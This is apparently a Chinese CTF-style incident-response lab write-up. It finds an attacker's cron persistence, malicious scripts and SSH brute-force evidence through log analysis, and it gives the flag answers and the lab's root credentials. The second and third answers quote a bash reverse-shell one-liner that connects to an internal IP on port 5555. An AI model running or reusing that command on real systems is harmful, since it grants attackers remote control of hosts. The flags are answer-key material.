应急响应-SSH服务日志分析

简介

1
2
3
4
5
6
7
8
账号:root 密码:123456
ssh root@IP
1.黑客通过网络攻入本地服务器,通过特殊手段在系统中建立了多个异常进程,找出启动异常进程的脚本,并将其绝对路径作为Flag值提交;
2.黑客通过网络攻入本地服务器,通过特殊手段在系统中建立了多个异常进程,将恶意脚本的源文件所在的绝对路径作为Flag值提交; (多个路径之间以英文逗号分割,如:/etc/proc,/etc/my.cnf)
3.黑客在服务器某处存放了多个木马程序,请你找到此木马程序并清除木马,将木马建立连接所使用的端口号作为Flag值提交;
4.黑客通过网络攻入本地服务器,将黑客暴力破解服务器的次数作为Flag值提交;
5.黑客攻入本地服务器,请你找出黑客成功暴力破解服务器的具体时间,将暴力破解的时间范围作为Flag值(提交的时间格式为:20220112 08:08:18-08:09:24)提交;
6.黑客攻入本地服务器,请你找出黑客入侵服务器时所使用的IP地址,将IP地址作为Flag值(若存在多个IP,IP地址之间以英文逗号分割,如:10.1.1.1,20.1.1.2)提交。

1.黑客通过网络攻入本地服务器,通过特殊手段在系统中建立了多个异常进程,找出启动异常进程的脚本,并将其绝对路径作为Flag值提交;

启动异常进程的脚本,一般异常进程都有一个特征:开机自启,首先我们排除服务器的/etc/rc.local文件查看是否有开机自启项

cat /etc/rc.local

image-20250418162819706

1
自启中并未发现启动进程的命令,紧接着我们排查服务器的计划任务

crontab -l
image-2025041816301398crontab -e
image-20250418163102513

1
2
3
4
5
存在
* * * * /root/1.sh;
这句话的意思是每天每小时的每分钟都执行/root目录下的1.sh脚本
问的是文件绝对路径
该文件路径在/var/spool/cron/目录下,任务计划的文件名以用户名命名

image-20250418163635955

1
/var/spool/cron/root

2.黑客通过网络攻入本地服务器,通过特殊手段在系统中建立了多个异常进程,将恶意脚本的源文件所在的绝对路径作为Flag值提交; (多个路径之间以英文逗号分割,如:/etc/proc,/etc/my.cnf)

通过题一可知在任务计划中看到为 /root/1.sh,我们进入到/root目录,发现/root目录下存在两个shell脚本文件,一个是1.sh也就是任务计划执行的脚本,其内容是一个反弹shell。另外一个是2.sh,其脚本的作用是创建任务计划。

image-20250418163947664

1
/root/1.sh,/root/2.sh,/var/spool/cron/root

3.黑客在服务器某处存放了多个木马程序,请你找到此木马程序并清除木马,将木马建立连接所使用的端口号作为Flag值提交;

根据题2可知

1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.184.145/5555 0>&1
1
端口为5555

4.黑客通过网络攻入本地服务器,将黑客暴力破解服务器的次数作为Flag值提交;

首先猜测是否为Web端暴力破解攻入本地服务器

ss -tnl
image-20250418164829901

1
2
发现只有80和22端口对外开放,其中80端口是一个web靶场,并无登录界面
查看ssh配置文件发现root用户允许远程登录,猜测可能是ssh服务器被爆破

cat /etc/ssh/sshd_config|grep "PermitRootLogin"
image-20250418165741978

ssh的日志在/var/log/secure文件中,
很多生产环境中,日志都按天进行分割,所以文件名可能以secure+日期开头,发现存在如下日志文件

ls /var/log/secure
image-20250419004035946

ssh登录失败会返回Failed password关键字,登录成功会返回Accept,由于我们要找的是破解ssh服务的次数,因此我们筛选 Failed password关键字即可。

grep -o "Failed password" /var/log/secure*|uniq -c
grep -o "Failed password" /var/log/secure*|wc -l

image-20250419005316410

1
2
发现在secure-20210420那天的日志,爆破次数达到最多,猜测当天受到了暴力枚举渗透测试,查看secure-20200601那天的日志,发现也是存在爆破的,因此黑客爆破服务器的次数是 secure-20200601 + secure-20210420 = 爆破次数
1792

5.黑客攻入本地服务器,请你找出黑客成功暴力破解服务器的具体时间,将暴力破解的时间范围作为Flag值(提交的时间格式为:20220112 08:08:18-08:09:24)提交;

这题出得不是很好,据4可知有secure-20200601、secure-20210420存在爆破

过滤思路:查看第一次错误的时间和最后一次错误的时间,即爆破的具体时间

grep -nr "Failed password" /var/log/secure-20200601 |head -1
grep -nr "Failed password" /var/log/secure-20200601 |tail -1
image-20250419013108151

1
2
3
4
5
6
[root@localhost ~]# grep -nr "Failed password" /var/log/secure-20200601 |head -1
28:May 25 05:53:11 localhost sshd[7782]: Failed password for root from 192.168.36.129 port 46131 ssh2
[root@localhost ~]# grep -nr "Failed password" /var/log/secure-20200601 |tail -1
403:May 25 05:56:55 localhost sshd[8091]: Failed password for root from 192.168.36.129 port 45081 ssh2

20200525 05:53:11-05:56:55

grep -nr "Failed password" /var/log/secure-20210420 |head -1
grep -nr "Failed password" /var/log/secure-20210420 |tail -1

image-20250419013459798

1
2
3
4
5
6
[root@localhost ~]# grep -nr "Failed password" /var/log/secure-20210420 |head -1
185:Apr 20 03:28:39 localhost sshd[3500]: Failed password for root from 192.168.184.1 port 1544 ssh2
[root@localhost ~]# grep -nr "Failed password" /var/log/secure-20210420 |tail -1
7170:Apr 20 03:43:24 localhost sshd[8349]: Failed password for root from 192.168.184.1 port 3320 ssh2

20210420 03:28:39-03:43:24

6.黑客攻入本地服务器,请你找出黑客入侵服务器时所使用的IP地址,将IP地址作为Flag值(若存在多个IP,IP地址之间以英文逗号分割,如:10.1.1.1,20.1.1.2)提交。

据5可得IP为192.168.184.1、192.168.36.129

1
192.168.184.1,192.168.36.129